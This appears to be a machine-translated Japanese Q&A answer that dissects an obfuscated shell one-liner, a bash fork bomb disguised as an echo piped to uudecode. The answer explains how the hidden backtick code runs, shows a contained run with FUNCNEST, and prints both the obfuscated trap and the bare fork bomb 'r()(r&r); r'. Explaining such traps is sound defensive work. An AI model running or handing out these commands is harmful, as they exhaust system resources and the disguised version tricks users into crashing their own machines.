まず、コマンド全体を見てみましょう。
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
にエコーされる二重引用符で囲まれた文字列が含まれていますuudecode
。ただし、二重引用符で囲まれた文字列の中には、逆引用符で囲まれた文字列があることに注意してください。この文字列は実行されます。文字列は次のとおりです。
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
その内容を見ると、次の3つのコマンドが表示されます。
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
中央のコマンドでブレース展開を実行すると、次のようになります。
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
最初の行は、バックグラウンドでナンセンスなコマンドを実行しようとします。これは重要ではありません。
2行目は重要です。これは、r
実行時に、自身の2つのコピーを起動する関数を定義します。もちろん、これらのコピーはそれぞれ、さらに2つのコピーを起動します。等々。
3行目が実行されr
、フォークボムが開始されます。
逆引用符で囲まれた文字列以外のコードの残りの部分は、難読化には意味がありません。
コマンドを安全に実行する方法
関数のネストレベルに制限を設定すると、このコードを安全に実行できます。これは、bashのFUNCNEST
変数を使用して実行できます。ここで、設定して2
再帰を停止します:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
(a)は、ナンセンスコマンドことを示し、上記のエラーメッセージrYWdl
とY29j
見出されていない、(b)は、フォーク爆弾を繰り返しFUNCNEST、および(c)の出力によって停止されますecho
と起動しないbegin
結果として、そして、の有効な入力ではありませんuudecode
。
最も単純な形のフォーク爆弾
オブスキュレーションを削除すると、フォーク爆弾はどのようになりますか?njzk2とgerritが示唆するように、次のようになります。
echo "`r()(r&r);r`"
それをさらに簡素化できます:
r()(r&r); r
これは2つのステートメントで構成されます。1つはfork-bomb-function r
を定義し、2つ目は実行しr
ます。
へのパイプを含む他のすべてのコードは、uudecode
不明瞭化と誤った方向付けのためだけにありました。
元のフォームには、さらに別の誤った方向の層がありました
OPは、このコードが登場したチャンボードディスカッションへのリンクを提供しました。そこに示されているように、コードは次のようになりました。
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
このコードに関する最初のコメントの1つに注目してください。
私はそれに落ちた。エコーおよびデコードする部分のみをコピーしましたが、まだフォークボムされました
channボードのフォームでは、問題はeval
の出力で動作するステートメントであると単純に考えるでしょうuudecode
。これは、削除eval
することで問題が解決すると考える人を導くでしょう。上で見たように、これは間違っており、危険です。